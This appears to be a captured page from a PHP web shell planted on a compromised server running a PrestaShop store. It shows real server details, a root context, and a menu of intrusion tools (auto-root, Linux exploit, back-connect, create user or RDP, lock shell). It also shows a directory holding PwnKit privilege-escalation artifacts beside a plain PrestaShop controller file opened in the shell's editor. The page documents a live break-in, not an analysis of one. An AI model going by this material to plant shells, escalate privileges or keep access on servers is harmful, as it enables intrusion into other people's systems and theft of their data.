Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
tienda /
controllers /
front /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
listing
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
AddressController.php
5.12
KB
-rwxrwxrwx
AddressesController.php
2.35
KB
-rwxrwxrwx
AttachmentController.php
2.64
KB
-rwxrwxrwx
AuthController.php
3.73
KB
-rwxrwxrwx
CartController.php
22.81
KB
-rwxrwxrwx
ChangeCurrencyController.php
1.53
KB
-rwxrwxrwx
CmsController.php
8.02
KB
-rwxrwxrwx
ContactController.php
1.68
KB
-rwxrwxrwx
DiscountController.php
5.3
KB
-rwxrwxrwx
GetFileController.php
15.32
KB
-rwxrwxrwx
GuestTrackingController.php
5.38
KB
-rwxrwxrwx
HistoryController.php
3.78
KB
-rwxrwxrwx
IdentityController.php
2.92
KB
-rwxrwxrwx
IndexController.php
1.42
KB
-rwxrwxrwx
MyAccountController.php
1.57
KB
-rwxrwxrwx
OrderConfirmationController.ph...
5.31
KB
-rwxrwxrwx
OrderController.php
11.53
KB
-rwxrwxrwx
OrderDetailController.php
9.49
KB
-rwxrwxrwx
OrderFollowController.php
5.33
KB
-rwxrwxrwx
OrderReturnController.php
6.72
KB
-rwxrwxrwx
OrderSlipController.php
3.38
KB
-rwxrwxrwx
PageNotFoundController.php
1.98
KB
-rwxrwxrwx
PasswordController.php
11.7
KB
-rwxrwxrwx
PdfInvoiceController.php
2.83
KB
-rwxrwxrwx
PdfOrderReturnController.php
2.45
KB
-rwxrwxrwx
PdfOrderSlipController.php
2.09
KB
-rwxrwxrwx
ProductController.php
63.74
KB
-rwxrwxrwx
SitemapController.php
6.21
KB
-rwxrwxrwx
StatisticsController.php
3.23
KB
-rwxrwxrwx
StoresController.php
8.81
KB
-rwxrwxrwx
index.php
1.29
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : OrderReturnController.php
<?php /** * 2007-2019 PrestaShop and Contributors * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2019 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) * International Registered Trademark & Property of PrestaShop SA */ use PrestaShop\PrestaShop\Adapter\Image\ImageRetriever; use PrestaShop\PrestaShop\Adapter\Presenter\Order\OrderReturnPresenter; class OrderReturnControllerCore extends FrontController { public $auth = true; public $php_self = 'order-return'; public $authRedirection = 'order-follow'; public $ssl = true; /** * Initialize order return controller. * * @see FrontController::init() */ public function init() { parent::init(); $id_order_return = (int) Tools::getValue('id_order_return'); if (!isset($id_order_return) || !Validate::isUnsignedId($id_order_return)) { $this->redirect_after = '404'; $this->redirect(); } else { $order_return = new OrderReturn((int) $id_order_return); if (Validate::isLoadedObject($order_return) && $order_return->id_customer == $this->context->cookie->id_customer) { $order = new Order((int) ($order_return->id_order)); if (Validate::isLoadedObject($order)) { if ($order_return->state == 1) { $this->warning[] = $this->trans('You must wait for confirmation before returning any merchandise.', array(), 'Shop.Notifications.Warning'); } // StarterTheme: Use presenters! $this->context->smarty->assign(array( 'return' => $this->getTemplateVarOrderReturn($order_return), 'products' => $this->getTemplateVarProducts((int) $order_return->id, $order), )); } else { $this->redirect_after = '404'; $this->redirect(); } } else { $this->redirect_after = '404'; $this->redirect(); } } } /** * Assign template vars related to page content. * * @see FrontController::initContent() */ public function initContent() { if (Configuration::isCatalogMode()) { Tools::redirect('index.php'); } parent::initContent(); $this->setTemplate('customer/order-return'); } public function getTemplateVarOrderReturn($orderReturn) { $orderReturns = OrderReturn::getOrdersReturn($orderReturn->id_customer, $orderReturn->id_order); foreach ($orderReturns as $return) { if ($orderReturn->id_order == $return['id_order']) { break; } } $orderReturnPresenter = new OrderReturnPresenter( Configuration::get('PS_RETURN_PREFIX', $this->context->language->id), $this->context->link ); return $orderReturnPresenter->present($return); } public function getTemplateVarProducts($order_return_id, $order) { $products = array(); $return_products = OrderReturn::getOrdersReturnProducts((int) $order_return_id, $order); foreach ($return_products as $id_return_product => $return_product) { if (!isset($return_product['deleted'])) { $products[$id_return_product] = $return_product; $products[$id_return_product]['customizations'] = ($return_product['customizedDatas']) ? $this->getTemplateVarCustomization($return_product) : array(); } } return $products; } public function getTemplateVarCustomization(array $product) { $product_customizations = array(); $imageRetriever = new ImageRetriever($this->context->link); foreach ($product['customizedDatas'] as $byAddress) { foreach ($byAddress as $customization) { $presentedCustomization = array( 'quantity' => $customization['quantity'], 'fields' => array(), 'id_customization' => null, ); foreach ($customization['datas'] as $byType) { $field = array(); foreach ($byType as $data) { switch ($data['type']) { case Product::CUSTOMIZE_FILE: $field['type'] = 'image'; $field['image'] = $imageRetriever->getCustomizationImage( $data['value'] ); break; case Product::CUSTOMIZE_TEXTFIELD: $field['type'] = 'text'; $field['text'] = $data['value']; break; default: $field['type'] = null; } $field['label'] = $data['name']; $field['id_module'] = $data['id_module']; $presentedCustomization['id_customization'] = $data['id_customization']; } $presentedCustomization['fields'][] = $field; } $product_customizations[] = $presentedCustomization; } } return $product_customizations; } public function getBreadcrumbLinks() { $breadcrumb = parent::getBreadcrumbLinks(); $breadcrumb['links'][] = $this->addMyAccountToBreadcrumb(); if (($id_order_return = (int) Tools::getValue('id_order_return')) && Validate::isUnsignedId($id_order_return)) { $breadcrumb['links'][] = array( 'title' => $this->trans('Merchandise returns', array(), 'Shop.Theme.Global'), 'url' => $this->context->link->getPageLink('order-follow'), ); } return $breadcrumb; } }
Close